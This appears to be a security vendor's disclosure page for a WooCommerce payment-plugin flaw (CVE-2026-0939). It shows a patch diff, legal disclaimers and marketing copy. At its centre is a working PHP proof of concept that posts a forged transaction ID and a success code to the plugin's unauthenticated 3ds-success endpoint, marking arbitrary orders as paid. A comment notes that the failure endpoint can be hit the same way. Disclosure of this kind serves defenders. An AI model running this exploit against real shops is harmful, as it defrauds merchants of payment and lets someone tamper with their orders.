+if ( ! defined( 'ABSPATH' ) ) exit;
+
 use Exception;
 use LknwooIntegrationRedeForWoocommerceIncludesLknIntegrationRedeForWoocommerceWcRedeAbstract;
 use WC_Order;
--- a/woo-rede/Includes/views/notices/html-notice-woocommerce-missing.php
+++ b/woo-rede/Includes/views/notices/html-notice-woocommerce-missing.php
@@ -21,7 +21,7 @@
             <?php
             esc_attr_e(
                 'Integration Rede Itaú for WooCommerce — Payment PIX, Credit Card and Debit Disabled',
-                'integration-rede-for-woocommerce'
+                'woo-rede'
             );
             ?>
         </strong>:
@@ -30,7 +30,7 @@
             // translators: %s is the name of the plugin required for this one to work.
             esc_attr__(
                 'This plugin depends on the last version of %s to work!',
-                'integration-rede-for-woocommerce'
+                'woo-rede'
             ),
             '<a href="' . esc_url($integration_rede_for_woocommerce_url) . '">' . esc_attr__('WooCommerce', 'woo-rede') . '</a>'
         );
--- a/woo-rede/integration-rede-for-woocommerce.php
+++ b/woo-rede/integration-rede-for-woocommerce.php
@@ -15,7 +15,7 @@
  * @wordpress-plugin
  * Plugin Name:       Integration Rede Itaú for WooCommerce — Payment PIX, Credit Card and Debit
  * Description:       Receba pagamentos por meio de cartões de crédito e débito, de diferentes bandeiras, usando a tecnologia de autenticação 3DS e recursos avançados de proteção contra fraudes.
- * Version:           5.1.2
+ * Version:           5.1.3
  * Author:            Link Nacional
  * Author URI:        https://linknacional.com.br/wordpress
  * License:           GPL-3.0+
--- a/woo-rede/lkn-integration-rede-for-woocommerce-file.php
+++ b/woo-rede/lkn-integration-rede-for-woocommerce-file.php
@@ -17,7 +17,7 @@
  * Rename this for your plugin and update it as you release new versions.
  */
 if (! defined('INTEGRATION_REDE_FOR_WOOCOMMERCE_VERSION')) {
-    define('INTEGRATION_REDE_FOR_WOOCOMMERCE_VERSION', '5.1.2');
+    define('INTEGRATION_REDE_FOR_WOOCOMMERCE_VERSION', '5.1.3');
 }

 if (! defined('INTEGRATION_REDE_FOR_WOOCOMMERCE_FILE')) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0939 - Rede Itaú for WooCommerce — Payment PIX, Credit Card and Debit <= 5.1.2 - Unauthenticated Order Status Manipulation
<?php

$target_url = 'https://victim-site.com/wp-json/lkn-woo-rede/v1/3ds-success';

// The order ID to manipulate. This can be enumerated or guessed.
$order_id = 123;

// A transaction ID (tid) is required by the endpoint but its value is not validated in the vulnerable version.
// Any string can be used.
$tid = 'fake_transaction_' . bin2hex(random_bytes(8));

$payload = [
    'tid' => $tid,
    'reference' => $order_id,
    // Additional optional parameters that may be processed
    'returnCode' => '00', // Simulate a successful payment code
    'returnMessage' => 'Approved'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response: $responsen";

// To mark an order as failed, target the failure endpoint:
// $target_url = 'https://victim-site.com/wp-json/lkn-woo-rede/v1/3ds-failure';
// Set returnCode to a non-'00' value.

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School